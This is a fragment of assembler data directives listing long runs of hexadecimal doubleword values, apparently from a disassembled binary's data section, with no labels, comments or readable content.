6B5CA403h, 7D458157h, 6E6B902Fh, 9590001Fh dd 0B729771Bh, 8BD912BFh, 1858A8FCh, 2B54A0FBh, 2E94BBDh dd 3D9D0974h, 80413676h, 0BD2A2CE3h, 9B37A99Dh, 123EB440h dd 0F65402CAh, 301AB263h, 8B04CD42h, 75AB5BFAh, 804BF2ACh dd 26DDBD46h, 0FC519087h, 79018C18h, 88EA5051h, 336A870Fh dd 4CC0980h, 6087026Ah, 57508030h, 3C0B975Fh, 49B54343h dd 995C61A0h, 180525C8h, 4FA1CF84h, 392EF7EDh, 4D42F6ADh dd 0E0BC4DFFh, 8FF4E522h, 811778FFh, 45ECF67Bh, 3897E0h dd 2C140B66h, 0BE5BBFA9h, 3360EA09h, 9AA2FFB5h, 32558C0Fh dd 0F81150DFh, 19016489h, 0D7E7B9F5h, 0B15B1E6Ah, 23947A83h dd 6FE9A313h, 2C00CEB8h, 92EBDB8Bh, 50D6DD3h, 258D0912h dd 1D8EAB17h, 28C6A5Fh, 394770F8h, 2E1A554Dh, 732D035Ch dd 0CFF7F0ABh, 12670358h, 0D0E90F41h, 6BE8AE80h, 5D7FFD1Bh dd 15DD964Bh, 0EFB02236h, 530535B7h, 32F05B29h, 0D9820AEh dd 0B72BF59h, 0EF26CD00h, 81146E4Ch, 0E0824B90h, 13408535h dd 0FF6A335Fh, 0B3581512h, 29B11762h, 55C70B20h, 0DB19773h dd 0C8BB1010h, 54661256h, 4A8EB9B0h, 0B508E3ACh, 0A84A2021h dd 5C1B5D09h, 42EE6488h, 5CDADF80h, 459027E3h, 0D12D5E9Dh dd 6BFBD6B9h, 8F2603F4h, 0F0CDE06Fh, 133728F4h, 41DF3A7h dd 0AF13A3BEh, 0DA8A2C81h, 0BD94932Bh, 201A198Ah, 5ADA5435h dd 0B93F4E31h, 16427D72h, 0C328E92Ch, 1B2D32A9h, 9D517E85h dd 0AE9D9389h, 5F2A6536h, 0BB5C4E81h, 0C01AA84Dh, 89709D31h dd 2A76081h, 0C96C2870h, 25BD0E2Fh, 8A730F4Dh, 47441811h dd 0FB320714h, 0B6215EADh, 31171748h, 7B22BD8Dh, 5466F5F9h dd 1F880F28h, 799D0B09h, 11BB7321h, 1E198425h, 2871AF52h dd 0FB942DBDh, 0B8B8395h, 6595EF78h, 15EE0897h, 0AB85090Fh dd 8E3FFF08h, 0BBDA9700h, 2580E62Ch, 0BCCDCFD7h, 61611464h dd 0D5F82AB9h, 3DB22146h, 8B42C8D5h, 0FBB7FBh, 4DE5DB9Fh dd 69DEC031h, 9A279250h, 1B0D211h, 8ABFC02Bh, 2E3743F4h dd 64C16B24h, 9F2B099Fh, 0CF15C891h, 4771D369h, 1927E328h dd 953C9420h, 50F40A89h, 993112F4h, 0B52E086Ch, 0C1BFF6A7h dd 6A29F185h, 0BFF0B9B2h, 5F27EFE1h, 70CE7B47h, 62976A5Ah dd 513856E7h, 372BA561h, 0F021074Eh, 45EFE058h, 0B8ECFC73h dd 0BB12E1A6h, 54A87232h, 23732225h, 2DABF0ADh, 2B37E1FFh dd 25C0DF01h, 0C47E6690h, 0A125AC82h, 83270449h, 3360F1B1h dd 0EBE705ABh, 0F7D3612Eh, 9D62AEFEh, 87409A79h, 5A07BAh dd 8567415Ch, 0BE197502h, 0E5D9804h, 68B8F0D0h, 0A84F10A3h dd 0FCBCD9FDh, 0BC058C71h, 31F58D89h, 6FACAE34h, 911FA5A2h dd 0DA698016h, 0B060F9DDh, 0A534BE2Bh, 0DB5B6562h, 58CF3970h dd 9D705129h, 1C510E73h, 0EF00FB18h, 3A72DC8Bh, 0C9E82A96h dd 5F73BDA6h, 55010709h, 602738BDh, 27A15047h, 9760B568h dd 0FA5A8A0Bh, 9D0862F6h, 253230E9h, 6B6C5CC9h, 0D6A58AFCh dd 0D1AC4082h, 0A61FEBFFh, 83C021D3h, 940A6609h, 6B72255Fh dd 0E8A0318Bh, 25FD9529h, 0F75F12B5h, 1600263Dh, 0FE59733h dd 68808B8Ah, 0C127B88Dh, 20A7D47Eh, 0C05B4A0Ch, 0DEBB726Dh dd 74DB2AFFh, 595BC080h, 0A804F78Dh, 1FA71312h, 81D9D8FFh dd 0D2BB39A0h, 1FC81E12h, 637987E1h, 7E16E8EDh, 980910E0h dd 22B2E9EFh, 5CD98A05h, 61FA6A75h, 0FD4AD576h, 63162E28h dd 59B0CCE7h, 0F1FC6011h, 0CE6F5101h, 57E6801Bh, 977D9874h dd 8B5B4C8h, 27F61ABEh, 0CF6496D2h, 0DBFF8100h, 4B6F92AFh dd 10CA0374h, 41D4BBE2h, 9FDD58D8h, 7925E2B8h, 5A6F5C26h dd 0C780C3B5h, 0C680FB67h, 16927026h, 1DB81E4h, 56225989h dd 3F6321F5h, 0F64ECCh dd 6F2FC5B3h, 1BD3808Eh, 6CBE8509h, 41AA3283h, 0DFE5DE69h dd 0B8D9132Eh, 0BF50C089h, 0FBA98428h, 944DA36Ch, 0F05B8EBCh dd 4B855BE0h, 0B3F88C41h, 8E686D3Ah, 2050764Dh, 0ED5325BBh dd 0B8A912Ah, 6F8B4EEAh, 5F7092FBh, 0DE950025h, 0D7F9076Fh dd 89799B40h, 0EE02D925h, 0B0C49D17h, 0F4402A00h, 22EE3478h dd 79AA7343h, 18C100A7h, 52EFCCD4h, 0B54A8948h, 88E21AEFh dd 4A2D647Fh, 64A48850h, 22BD800h, 0A8C52ABh, 0DD1709F2h dd 3B92A7F4h, 0DF00D959h, 52C7F511h, 6D9401D0h, 58686EB8h dd 1E857EBCh, 0DAB7E770h, 0B5090961h, 1E5728A5h, 75A6CB4Bh dd 4979B456h, 0B024F72Eh, 2F1DA7F1h, 0C61029DAh, 43009874h dd 10D7618h, 881AD5BDh, 25D42DE9h, 24C0C252h, 8DF68008h dd 0B0B54AFh, 0C5F57F72h, 0F2BBB555h, 61020E6Eh, 0BA8BACEh dd 0BDEA7F9Dh, 1C91D402h, 44BA1CD7h, 0FB528BA0h, 1F91CCE3h dd 899D2F03h, 346D3790h, 729A2785h, 0D4055A85h, 0D3B2AD6Dh dd 1F80979Ah, 25558AA8h, 0F190589Fh, 5E238B6Bh, 0FB4A096Ah dd 8EB64652h, 553217B2h, 0B325B9F8h, 882E10CEh, 1AF500B2h dd 920FC6CBh, 9501DF8Fh, 0A0D26940h, 0D76C3522h, 53F5A913h dd 0E2DBA684h, 0D3C5A963h, 6B09D9FDh, 952D6EF0h, 7B9D06CEh dd 0BDF9145Ch, 8D6FEFD2h, 6BD79A02h, 57E2BEE8h, 8FCB440Eh dd 0FC4023F1h, 49F6EF9h, 0AA5693C5h, 4E70B8E7h, 3BCA699Eh dd 0B89344D8h, 26FD4B6Ch, 20448ECh, 61B501DAh, 7AA99295h dd 8C19ACh, 0BC34961Ch, 5F507136h, 0FBAB0B97h, 701A7086h dd 0C8BE4902h, 0CAA1B531h, 729455D0h, 234A83B8h, 0E55872E7h dd 0E20B4116h, 422B69A3h, 113DB727h, 0B2DD8117h, 73785278h dd 0A410BBC3h, 44622DE2h, 0DFAC195Fh, 0BEBD522Bh, 0BF200F6Eh dd 5F1A9D2Bh, 85FF3872h, 54226261h, 16572919h, 58279385h dd 4732A8F2h, 75155621h, 5B9C8167h, 0D0E3532Fh, 20072857h dd 0DA68D096h, 50738A41h, 5199883Ah, 7B031000h, 28807D4Eh dd 52E10533h, 538DF63Ah, 0E04AE6C0h, 5A525BDFh, 0B2ECF65Fh dd 11C13015h, 9375CE95h, 833C5846h, 0B5AB416h, 4A76EC8h dd 94D76D4Dh, 0AC0BEDEAh, 6AF98C14h, 0BAB75F04h, 1C1AFB8h dd 0F157D85h, 0A9429734h, 2D52BC8Eh, 545043E1h, 6E95BAB8h dd 0EB35B7AAh, 94207601h, 0F5E250FDh, 98705C89h, 7ECB8B95h dd 333EDCFEh, 8DF38260h, 0FF4449FFh, 97849F88h, 9AE361h dd 58FF08A8h, 31684Dh, 0BF74BEDDh, 153A0B7Ch, 97B82C09h dd 7ACC5C61h, 435009D3h, 20DE4A0Eh, 0F38B2440h, 0B95F2103h dd 0A8A1E780h, 96E6CBFh, 99E93B19h, 379D1A78h, 0FB0A00FAh dd 555F6D05h, 3DA35809h, 9302DF2Ah, 290033F5h, 0BC18AD95h dd 8AC184D3h, 0AC04BDF9h, 1F008C18h, 0AED2773Eh, 0EC8DB81h dd 0F646DD9h, 2FCBA1F3h, 30497E6h, 29099Dh, 0F173BB90h dd 0A0564AB5h, 2EF5FB9Ch, 7D0FBA6Eh, 718107F4h, 2B6A0AA9h dd 78C0D3DBh, 4149BD9Eh, 8A5BCA16h, 2DA55827h, 32E220AFh dd 0EDB716A7h, 3866E217h, 27B385DDh, 0E4D7CDAAh, 7E8A0B51h dd 0D0174000h, 5B008723h, 0EDCEEAE6h, 1EDD43CBh, 82E444C8h dd 9C02C26Dh, 22EC4AD7h, 5D90DFA5h, 0B02A3B7h, 40940911h dd 94284918h, 213589DAh, 405513EAh, 8024C909h, 0B62DBF66h dd 81E260ECh, 105909DFh, 0E3717C6Ch, 9BD98B8Dh, 0F9C7752Bh dd 0B5A835h, 6C9A0FDEh, 8E27739Fh, 5181BF01h, 0D1FF429Dh dd 16B8577Dh, 78477900h, 0EA02B811h, 299B0442h, 0B419ED85h dd 2D4B0185h, 0AE21F68Eh, 0AF181BF9h, 0B19FBA00h, 0AB30DDBBh dd 0A0BC3CBFh, 26A3F8Bh, 0B08203B7h, 7EB3E57Bh, 1E1210B7h dd 50D2B790h, 0F9E8968Ch, 0FD318810h, 0B81E6B13h, 9590D4A0h dd 0FF721EDBh, 0B98DAE8h, 85E38017h, 5350D061h, 0B42CC83Eh dd 6F8C4D00h, 0A14E57A5h, 524F01FEh, 76914C68h, 0C45BE964h dd 2AF7E95Fh, 3C84DDF3h, 0FE600BA7h, 0B52960C6h, 0B0971519h dd 4259D7Ch, 26D266Bh, 9698EF61h, 98FE50BFh, 0BD154AA9h dd 8C14BCDEh, 78F3D34Ah, 3ABC4Fh, 5390F8AEh, 660FDAh, 0BE682420h dd 8E3E84D9h, 0A99562B0h, 9D80813Eh, 0CC7B1D69h, 33509822h dd 44580E2h, 0B129C241h, 0DB4EDD3Ch, 0C0BA9216h, 3115F101h dd 5373E018h, 0B52CB97Eh, 0D9A6D3C7h, 4197CD6h, 37917D7h dd 5D6EAF57h, 2B001A23h, 6E271392h, 12B25EFDh, 4D4EE79Dh dd 1D6ACE0h, 0BF9FFE6h, 7A0759BDh, 1CF39DE3h, 45400887h dd 5F64E12h, 140D6779h, 0E25CC03Eh, 912DF496h, 3BB5159h dd 4A9ECFDCh, 816C9C02h, 5C7292B8h, 0E7522DACh, 0C5B5FF09h dd 63D5D31h, 38A53606h, 1FA920DCh, 248961BDh, 8834F26Ah dd 208CA846h, 0B0702219h, 8EF30F7h, 2670E680h, 108B8956h dd 0E45F0925h, 844C0271h, 9A9A5EC4h, 2C864D20h, 597C309h dd 0DDB8609Dh, 0FB566B84h, 3D8A89DCh, 0BA2D5BC8h, 0A2DD131Ah dd 572DB3BAh, 14D91A49h, 0B582C1A9h, 0A05E0385h, 55D33F4Fh dd 0C82BE744h, 9E1720BFh, 581ECAACh, 0DAC067AEh, 0E41A4416h dd 9341506Ch, 0E31D6255h, 3579D18Bh, 0AC03B300h, 1363F439h dd 0C9ED3B20h, 52206AE5h, 3D6A6Ch, 0F765DE6Bh, 41A50910h dd 858B0E1Eh, 0B70A2650h, 748E9F1h, 706FAF6Eh, 0BE1C9152h dd 0E809257Dh, 78977CCBh, 9D0B08D8h, 12342939h, 8DE401FBh dd 2B733697h, 0C4624BA7h, 0E90218D5h, 10518457h, 0C77F444Fh dd 400E156Ch, 9B4E315Bh, 0ACF4A404h, 0B2AAF058h, 80B749D7h dd 0DADCEB81h, 0C84A4BCAh, 0C1A627CAh, 0EA77F16Fh, 0FE0221A5h dd 70D1BD2Bh, 0DF801A78h, 8613A277h, 161D3813h, 1FD92CAFh dd 8960EEF9h, 0A313259Ah, 0F3956A29h, 11F96E05h, 0E86175AFh dd 0E77C0323h, 2207F8B9h, 140013FDh, 0E474EDE1h, 2A24556h dd 0A5D88EB7h, 0E4D5BC6Ah, 960B978Fh, 84C04BEDh, 133E5005h dd 0C2D87322h, 0BBD52685h, 0FBC40BC5h, 507BD22Bh, 1D4D3E70h dd 89D68D7Eh, 0AB7B7D2Fh, 0D453FC6Bh, 7BB6AC5Fh, 0A5D6E5Fh dd 0C860841Eh, 9BDCF102h, 40D55E61h, 50F593BBh, 8630715Ah dd 4BB1B352h, 6AD8CD5Bh, 673BF720h, 8CC716EFh, 9195F0E9h dd 945B0340h, 0C210859h, 7961F809h, 6A5759C4h, 829BC485h dd 0AFC9ADC5h, 5ECA01D2h, 0FC351C5h, 52C019C8h, 0BDE7EACh dd 85896E82h, 3256494Ah, 0E1EA5B40h, 9002726Bh, 0D5DA00BEh dd 4CFCD986h, 0B3257EE5h, 4B35743Ch, 80213775h, 4F86E3E4h dd 761680BFh, 30B258BCh, 0D321E00h, 9F08C831h, 0F3E33F12h dd 23666BBAh, 3E86001Ah, 455FDD98h, 31576104h, 0CAC8FD8Dh dd 0E6E14CFFh, 4DB1F9C0h, 91F3AC7h, 0F1014C8Fh, 0A853FEDDh dd 60CAA502h, 8291CD75h, 1A558531h, 1AF4C7D5h, 0B757274Eh dd 44B1310h, 31F057Fh, 0B5F9B509h, 86C6B6F2h, 0F7905DE3h dd 30BDB97Eh, 2F0E136h, 0D87ACF98h, 0C6C9605Fh, 0D9652F17h dd 0F1A173E6h, 2DE2CF45h, 0FB25D65Eh, 0D579706Ah, 5384A34Eh dd 6022CDB9h, 7D82BF91h, 0E0AB9520h, 3B7C6A9h, 44B0EED2h dd 82E8D48Ch, 0F95D6A10h, 79302544h, 50D66944h, 1A67ED4h dd 97E92DE6h, 2F7FBC4Bh, 0E109DD32h, 50002185h, 0B194F4B7h dd 7834FBAFh, 1B202003h, 284D2010h, 49385995h, 63B924D4h dd 0C4CFB345h, 52D59787h, 0D3E0CFBEh, 0B4436FB8h, 0DC27E100h dd 0A5B2584Eh, 5E297C00h, 3C7D9205h, 0F8EE4C7Eh, 0F2F4E42Dh dd 511C6029h dd 6789F66Dh, 0B858E55Bh, 168A12ECh, 0BC4A02E3h, 4AE94DEAh dd 1BAC42BDh, 0A0F7008Ch, 760E8BD1h, 5601996Bh, 0E95BA7B3h dd 0BE2701EBh, 185F22B2h, 2F8529A5h, 0B07E3205h, 0BC5DA6C0h dd 0B2A90009h, 4DC0776Ch, 877BFE0h, 7A842509h, 9F26D08Fh dd 6F60CE4Fh, 160545CBh, 5F56377h, 0AB335155h, 822FE99Dh dd 1C741407h, 0D4EE745Ah, 0F308AC14h, 0ABD302E0h, 7493B33Dh dd 0E16E6C07h, 0F1892540h, 5701207Eh, 2200840Dh, 3C239731h dd 1EC287A4h, 0A5EC8224h, 0F82DBB7Bh, 1C464D4Ah, 434FFBE8h dd 0AAA920F0h, 0D6025789h, 0EB5F0CB2h, 491E2A6Fh, 0E20997DDh dd 8A0E3D55h, 10B489F2h, 0A568012Eh, 5309F7FBh, 4BD9B66Bh dd 0F85A03C0h, 6F2AFFE8h, 0E9E239FDh, 0B1A4D4C0h, 2E0EF57Ch dd 6A4B198Bh, 4C6120B6h, 3C13DE63h, 0CD013050h, 0C2001D1Fh dd 98A89D52h, 172A317h, 4B396DE7h, 0E2887CCEh, 24D3766Ah dd 2DFD3470h, 0C1C0BDB0h, 319D3FADh, 10788C13h, 5498F88h dd 0CF0D917h, 40A09661h, 8A8435BEh, 0C90016F2h, 0B06BDF25h dd 1626801Bh, 0F2D551A4h, 0BFC50354h, 0E96EDCC7h, 8F2E5999h dd 0A87C5D05h, 0F51716DAh, 0AC5A05EDh, 10F817Fh, 62383A1Eh dd 2D418A0Bh, 2928F231h, 5C24E725h, 1480E6B1h, 0E194C4D6h dd 0F7830A6Dh, 4EE814Eh, 0DB483DEBh, 82A0C9C1h, 41F6576h dd 0A230E8F9h, 9E9132Ah, 16B54F2Eh, 0BEDE0417h, 0B31E9F84h dd 85204BCBh, 0E4255604h, 54D60024h, 0C3420220h, 0E6090E7Bh dd 0E6601067h, 0CBE6B532h, 810418C8h, 2C5DB866h, 0B32A2F61h dd 155DD489h, 0C4AF421Ch, 0B5F3C1DFh, 0C0CDCFC2h, 8C860E5Bh dd 549B1E09h, 0E1E417h, 9E79CF6Dh, 36D2EF4Ch, 0F8F03F02h dd 74FE8A5Bh, 0EB5BEB97h, 0B00EF650h, 92B80703h, 12B96050h dd 8BFFEFC0h, 0BB1477C5h, 0C9E4CD0Fh, 0E1C1E0CBh, 0B5452290h dd 4D57D86Ah, 69F4C073h, 4D02AE1Eh, 0E9EAB6Eh, 47EE77D3h dd 0E219E12Eh, 0AB26FB23h, 92A29513h, 59B50181h, 4D703B28h dd 1305E781h, 0BA2E2D6Fh, 16EA0265h, 1D6FAE85h, 1617604Eh dd 174CF8BBh, 4951130Dh, 9BFBA8Ch, 785C929Ah, 37B722D0h dd 0CCC1001Ch, 0E1BD2BCAh, 0D7B9285Eh, 0B4AC8395h, 67BF660Ah dd 253DA837h, 0DE3C7407h, 0E6001C46h, 0F2BBC015h, 7C27C47Eh dd 6F6442DEh, 0A4F6C01Ah, 0D80474A1h, 5680F15Bh, 34D620AEh dd 0EC3C4FB8h, 828CA7CCh, 4EFD8A34h, 0F6FA5A19h, 0D92276D9h dd 7AD19D19h, 1C1DB30Ah, 4D9D0B40h, 293A9D30h, 71B76F46h dd 927A60A3h, 527380Ch, 1C1945CCh, 0B94F3854h, 3D64BC03h dd 58002B32h, 8F71D240h, 4C2EF780h, 8D08AE96h, 3D85AF02h dd 35E98C50h, 53D02700h, 9FCBB91Ah, 408FB696h, 2D9145CFh dd 2D99DA26h, 4D16F500h, 9711A4E6h, 0D7163C4Eh, 6FBD34C7h dd 8C1BACh, 5B8A8E19h, 0A7B1F39Bh, 2B0DBB05h, 6BAF7270h dd 1D23D4h, 0E0E1B1C5h, 53000B03h, 0BB652E27h, 4EC88ACAh dd 20008D0Dh, 5116AD0Eh, 18C41142h, 5EA203BCh, 0B58A9ED7h dd 0C6594373h, 63B75DC2h, 0A1710C80h, 9685F53Fh, 24B940B0h dd 0A70068F3h, 86042BDAh, 72F5B82Ah, 72D81288h, 92CAF61Eh dd 0C4A884FDh, 15210900h, 0E9F59CE1h, 0BA899714h, 1B3F2700h dd 499BC18Bh, 16319278h, 0F219A1BDh, 0AE8C4BF8h, 0B19D2433h dd 0C86097E1h, 800D0F7h, 0F86DD4B7h, 2F9187C9h, 17D19A7Fh dd 4554AFh, 610E3136h, 0BF045190h, 2856B4FEh, 0DC1CD1ABh dd 0E05EF62Eh, 62F99DDCh, 35092A26h, 0B3111829h, 7A5F4F46h dd 0DAD80176h, 0D98B0BE6h, 0B6E58741h, 0C702D978h, 7CF23FF8h dd 652C7F5Eh, 5B922FDEh, 0A7EFAD90h, 14127B01h, 0F82E50D5h dd 7349D170h, 71B80B90h, 680A5418h, 6F211C92h, 0ABD80205h dd 0A1F71280h, 0DADDA16Eh, 0E80A8EB7h, 0A5021C24h, 556C3717h dd 9D844671h, 8002131Dh, 6D5E45D7h, 5260726Ah, 1F50FAFEh dd 0C327B65Dh, 693FE52Fh, 0F44354B0h, 7A053D2Dh, 1381216Ch dd 135D31E4h, 324F968Dh, 31072520h, 7910026Ah, 7D50021Ch dd 0B7259146h, 80E78147h, 0F285A4CBh, 990DF8C3h, 0F9F4842Eh dd 0B3B8C2E9h, 4B6EFE1h, 0ADB8DDEDh, 65DBE24Bh, 85596382h dd 1E89847Ch, 9577D088h, 1759885Bh, 0F271E718h, 27062F4Ah dd 0B0A9088h, 53507509h, 0DA055D5Bh, 0C8A9905Fh, 1000EDB8h dd 0DB116D8Fh, 9D952B60h, 6495885Ah, 0EDBD007Ah, 0DF6B3C38h dd 0D42D9E51h, 4054F47Ah, 6159D3B1h, 95C21497h, 5B0047B5h dd 0B9B18D1Bh, 75F70530h, 84BBFCh, 858937B5h, 0E7952381h dd 0D6302429h, 9C878E00h, 0FE8A5C07h, 119D2D03h, 5452F95Ch dd 0A76A1EDCh, 0DC38DCh, 0BFBB6B48h, 0ABB2AE3Dh, 0B4A7F92h dd 1D013BE7h, 0AEA3B3D4h, 220B6A38h, 50564431h, 4BF9FFFAh dd 53819833h, 71BD2988h, 74B48421h, 0E6170B10h, 9EBEC870h dd 0B2B66E03h, 0E19B9283h, 0BDE043CEh, 76751891h, 33E13A60h dd 79E45B80h, 92DF4B71h, 0B5101B93h, 4F1F438Dh, 83EED804h dd 0B5C284B8h, 7E0922D1h, 758C40D9h, 2402CE03h, 0F927B90Eh dd 0F570C25Bh, 82B78510h, 9A328D00h, 271CA8B1h, 0B8ED4A11h dd 59ABD7EFh, 0D1F376BDh, 0B733AFh, 394E7FA5h, 0B12D436h dd 415ECDE7h, 0E2F74582h, 710F71C6h, 24DCB85Bh, 6CC093A0h dd 5B60559Ch, 81B7BC31h, 2D619D09h, 2B160CBAh, 0DDD8E8C8h dd 0FD42D192h, 0FEE92A96h, 0ED609750h, 116D7166h, 81090E3Dh dd 4AE4EB30h, 136AF2CEh, 34AF1E8Dh, 0B25200EAh, 38C9F333h dd 8F9FD802h, 5C6AF582h, 842B99Ch, 910B1D8Dh, 5D512449h dd 0B2FF5F1Ch, 5CF503FFh, 59354480h, 4A3E0DF0h, 1616A5F9h dd 3ECB88FEh, 5BF61000h, 5773CF67h, 634B00BCh, 41F5E369h dd 140AEFFEh, 729589D0h, 5ACF8184h, 56C48EB9h, 0D1E6EB36h dd 206400F7h, 50095DB2h, 0DC7281E6h, 0B302F45Fh, 55F49B7Eh dd 9553506Fh, 0FEC8C7B3h, 0F4B92B9h, 3A088B7h, 0FC2599A1h dd 0D3CDC28Ch, 8B577097h, 0F59A1295h, 63E4C06Dh, 0E0E222C0h dd 0FEC72C80h, 8CFC2F22h, 83E550h, 0C2FE6AAFh, 208CF035h dd 2B74CA02h, 56BB048Eh, 93D949CBh, 1D0E0938h, 7798DFFBh dd 1800A43Fh, 220FD621h, 0B3D22B5Bh, 91BE780Ah, 0FA68F001h dd 8074699Ah, 0BDEFA021h, 232B7FAFh, 76803819h, 3FAADE96h dd 7925BD33h, 0C1375508h, 2F96F980h, 1203B236h, 9A08DDh dd 0AD542B88h, 1209BB5Eh, 7922A866h, 85DC2D2Dh, 13F6BBD6h dd 0F1A23072h, 8F016D35h, 0DB81E1E0h, 74AC7FD9h, 955E2717h dd 2B55F52h, 884E0C01h, 0F3302864h, 0A21A4B19h, 0A183F422h dd 0CEABEDA5h, 67643077h, 1C1B8FBFh, 2CB85AA7h, 16615097h dd 75EE1109h, 0A3DC739Dh, 2DE458FDh, 3C1C6F00h, 0F14FBFEFh dd 0FF5A13F3h, 12D6FE1h, 910CC1A0h, 282E03B6h, 768AD3DFh dd 6539DCFFh, 0F78A4BF9h, 0AF028A7Dh, 0D55C14D5h, 279F7A71h dd 2BDA6F89h, 0CADB605Fh, 0F41E8F81h, 4BED636Eh, 0B462AF0h dd 2B69DB71h, 1C5E2018h, 78311D00h, 0FDC8ECCBh, 50C1007Ch dd 399FB2FAh, 6025F7B5h, 0ED08E25Fh, 245DCBC6h, 73E16088h dd 66D44C45h, 0C33C50FCh, 17E2EAA5h, 4D7F9075h, 1C6D16B0h dd 128088BAh, 8EA4E502h, 55B5B76Fh, 0FD7012E4h, 54F06282h dd 65296728h, 0EAF6958Dh, 0F6D2B0DAh, 0F2490024h, 0E3ADBED4h dd 9DC8CD19h, 12AB2C51h, 9AC03818h, 170C98BFh, 0BA6A1440h dd 0FE00266Fh, 94C55664h dd 0D009980h, 38756886h, 0DF5707D9h, 2F712570h, 0C63B8A05h dd 0E59D5BC1h, 0FD5BF778h, 607BAD8Ch, 1633E7E5h, 1023A32Dh dd 27302AEh, 656B5238h, 0EED5F8F2h, 8C1201Ch, 2A3E91Ch dd 9BB75527h, 0D88B7F04h, 5D538DD2h, 6EEB598h, 0AB183E13h dd 4B6110A0h, 71AA8D5Bh, 0ACA35496h, 1AAD4E88h, 0B70314ECh dd 4F72BB40h, 468A92A6h, 41610148h, 7B4BB4B2h, 0B2242E36h dd 8E6FAEh, 3788A776h, 0EC69BF87h, 277BB505h, 27A8535Ah dd 0D64CAB7Fh, 598DC176h, 0FAF62F0Ch, 691C6A00h, 881487D6h dd 3CBAFA09h, 0D4A42989h, 805EAF27h, 0DCC0055h, 0B7910F1Bh dd 15128DE2h, 86C85360h, 38F7009Dh, 0EED62EC6h, 0AF03936Ch dd 54B2A13Ah, 5A58E8ACh, 9212B753h, 606920D5h, 0C0308Ch dd 38AC60Ch, 0B0FBB735h, 583F8B1Ch, 2DF16152h, 3EB80669h dd 48616B04h, 0AECCDF89h, 0D6C0150h, 0D72E09BBh, 7F10F65Fh dd 313E0051h, 103329DBh, 0D777CA15h, 0E07A4702h, 0C20AF522h dd 0DFF275C6h, 0BFA2C09Fh, 0D4DBF8D3h, 290EED90h, 0F2721D8Dh dd 609AD357h, 5D803880h, 0DD5068E6h, 0A4A6E1C7h, 6071FE9Dh dd 3BCC4092h, 85E3F901h, 0A18C1FB6h, 2CB1202Eh, 0B4F62E01h dd 0C7334600h, 0EA8A67B0h, 0B379059Ah, 0BB5F2DB6h, 0C1229901h dd 882E1ECCh, 917E5126h, 9BB0EB0Fh, 0C411C0F6h, 96A69A49h dd 65CD258Eh, 7601864h, 210990F6h, 7D9D295Eh, 0E9CADB43h dd 0D9E64280h, 677B661Ch, 0D6868816h, 4A96E1E0h, 6A22EB50h dd 0C0127757h, 79A1E85Fh, 2BB902BAh, 905B5F1Dh, 46E0D5CDh dd 4D61A8BCh, 0B093D5FCh, 0E1C5C5h, 0E661F78Bh, 97F8E6F9h dd 0B0D4D96h, 2F1581BDh, 0F37AFDD9h, 1347CE49h, 0F300A0E6h dd 0B9A1232Ah, 5E4FFC0h, 0BB5A8400h, 187931ACh, 33C92FDCh dd 0F3957970h, 4FCCD07Ch, 84CBD01Ch, 0B928D6C0h, 41018D31h dd 90CE2B27h, 0A00B76E9h, 8A1D210h, 1B15B531h, 0A6DABB01h dd 602D4829h, 0EC39FEB8h, 520A028Dh, 6C461415h, 10F0B4EBh dd 0ADF84A26h, 7DBD23C1h, 0CA8E2E02h, 7A4ACA3Ah, 5C9D097Dh dd 6B371612h, 6BED579Fh, 9EFAA4C0h, 545A0E0Fh, 0CC2965B4h dd 90374E55h, 0DAB22522h, 9D889857h, 0BC1C4AF1h, 0CEBEA408h dd 3AE3D243h, 6D952909h, 500F27F2h, 4ECD93BBh, 0BF1CF22Fh dd 0EEB82D52h, 0AEF405AEh, 0B7CC53CBh, 325C01BDh, 0DD0B1593h dd 0BCC17BC0h, 70581AE1h, 8C0F2CF8h, 0EE26E4F0h, 0B94A588Bh dd 5A75A8B4h, 2188F042h, 0E521BB97h, 4D224BBCh, 0D7259896h dd 0A9003F3Dh, 702AFCBh, 8EDE00D2h, 0EBBB6641h, 28B6604Fh dd 49183C40h, 0AEBF0096h, 0E2844D1Ch, 894FAC67h, 618D49BEh dd 3094278h, 7B0C65BDh, 181A5124h, 0DF0B049Fh, 0BE348A31h dd 891F80C1h, 1391FE89h, 19792A7Bh, 601C5118h, 0E2FEF580h dd 27E2662h, 45D72845h, 0D4ADAE4Dh, 5A51F433h, 5B5FEADAh dd 8351D051h, 16FCFB12h, 0A0440700h, 97959D33h, 0FB2F7545h dd 39EDA50Ah, 9D962740h, 0B320984h, 47048DE0h, 76B25D59h dd 1080A27h, 37D0FD77h, 0CD7DDE50h, 87C1C063h, 0AB0243D9h dd 0E947A0DDh, 0DF65F7A9h, 0C3ED2E93h, 0BF047CE8h, 3976AFFFh dd 8A4B4FA8h, 0BD2122A0h, 997F3B42h, 0EC3E5689h, 0DB95B54Ch dd 0D94A1DC5h, 252C704h, 0D717ED98h, 1212ECBAh, 96552B62h dd 4520EBC8h, 5C1EA224h, 0FD70A52Eh, 2EA3214Bh, 1D766089h dd 2EC725F6h, 5CE4327Fh, 0B47BE94Fh, 383E3350h, 0B78BD523h dd 92059F9Bh, 0C6974D3Dh, 85893AEDh, 5EDED102h, 40FB7A2Dh dd 0F2E13A50h, 0E8205F23h, 0D375F68h, 0A5E87769h, 0D09D8AE9h dd 0B70F7514h, 27893E18h, 23812FD2h, 0BC3B1661h, 0F9A205h dd 7FE14AD0h, 29BD2988h, 329F32B9h, 889C572h, 8788CF3h dd 0D0F8036Eh, 2A115ABAh, 215D9610h, 16C71382h, 48D38100h dd 0E60C9723h, 2C402128h, 4060BC50h, 0D9F132DAh, 84853Bh dd 3A784AEAh, 9F04E44h, 5B454D8Fh, 40D36FF5h, 580D03E2h dd 9A6A2B2Dh, 11D95763h, 7D0B1A32h, 5B779AE2h, 2612259Bh dd 0FED3E8DDh, 748013Fh, 0F733F638h, 8A76B7Eh, 0EB322D12h dd 0D892178Fh, 4B050F44h, 699C11D4h, 59A79D1Eh, 258D1C94h dd 581307E7h, 3CECE3F9h, 8B47410Bh, 6AC9E0DAh, 0F5BF0002h dd 5075BB6Fh, 0C5AA7EB7h, 1171A5F3h, 2432F72Bh, 49448029h dd 1DE12EBCh, 19880FC7h, 81090C0h, 0A6C0977h, 8A64FCB7h dd 2E6BED00h, 33D047E1h, 78B400A9h, 19A60174h, 4C392C09h dd 25DDCBB5h, 0F8C0975Ah, 0B794E22Bh, 788DC012h, 89800CACh dd 0CD1B9B43h, 90214A0Eh, 0D80356E2h, 0C5509888h, 0BFE0C4B6h dd 874CBCB3h, 71F84FC8h, 910E6D2h, 42D58D89h, 0E16DF59Fh dd 7CFBC9h, 796EEBA7h, 4B01532Fh, 312D9EE8h, 5F35918Dh dd 1078D684h, 0D7EFB86Ch, 90EED624h, 